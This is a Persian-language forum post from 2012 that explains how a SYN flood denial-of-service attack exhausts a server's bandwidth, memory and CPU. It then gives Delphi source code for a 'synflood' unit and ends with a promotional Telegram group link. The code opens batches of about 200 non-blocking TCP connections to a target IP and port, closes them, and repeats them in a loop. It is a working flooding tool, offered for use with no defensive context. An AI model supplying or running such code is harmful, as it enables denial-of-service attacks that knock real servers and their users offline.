09-09-2012، 01:25 PM
در این روش بسیار متداول، حملهکننده تعداد زیادی بسته TCP حاوی SYN ارسال میکند که به معنای تقاضای شروع ارتباط است، در این صورت گیرنده بسته (هدف حمله کننده) با توجه به درخواست ارتباطی را شروع کرده و در انتظار دریافت ادامه درخواست میماند و چون ادامه درخواست از طریق حملهکننده ارسال نمیشود، سرور مورد نظر برای مدتی ارتباط را در خود نگه میدارد که تعداد زیاد این روند باعث استفاده زیاد از پهنای باند، RAM و CPU سرور مورد نظر شده و توانایی پاسخ به سایر درخواستها را نخواهد داشت.
سورس کد syn flood به زبان دلفی:
سورس کد syn flood به زبان دلفی:
کد:
unit synflood;
interface
uses
winsock,
windows;
type
Tssyn = Record
TargetIP :string;
TargetPort :integer;
len :integer;
end;
var
ddos :Tssyn;
ssynthread :Thandle;
procedure SendSuperSyn;
const
SUPERSYN_SOCKETS = 200;
implementation
procedure SendSuperSyn;
var
superdelay: integer;
SockAddr: SOCKADDR_IN;
sock: array [0..SUPERSYN_SOCKETS] of Tsocket;
iaddr: IN_ADDR;
mode: integer;
c,i: integer;
begin
superdelay := 100;
SockAddr.sin_family := AF_INET;
SockAddr.sin_port := htons(ddos.TargetPort);
iaddr.s_addr := INET_ADDR(pchar(ddos.TargetIP));
SockAddr.sin_addr := iaddr; //ip addy
i := 0;
mode := 1;
while (i < ddos.len) do
begin
for c := 0 to SUPERSYN_SOCKETS do begin
sock[c] := socket(AF_INET, SOCK_STREAM, 0);
if (sock[c] = INVALID_SOCKET) then
continue;
ioctlsocket(sock[c],FIONBIO,mode);
end;
for c := 0 to SUPERSYN_SOCKETS do
connect(sock[c], SockAddr, sizeof(SockAddr));
Sleep(superdelay);
for c := 0 to SUPERSYN_SOCKETS do
closesocket(sock[c]); //close sockets
i := i + 1;
end;
Suspendthread(ssynthread);
ExitThread(0);
end;
end.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg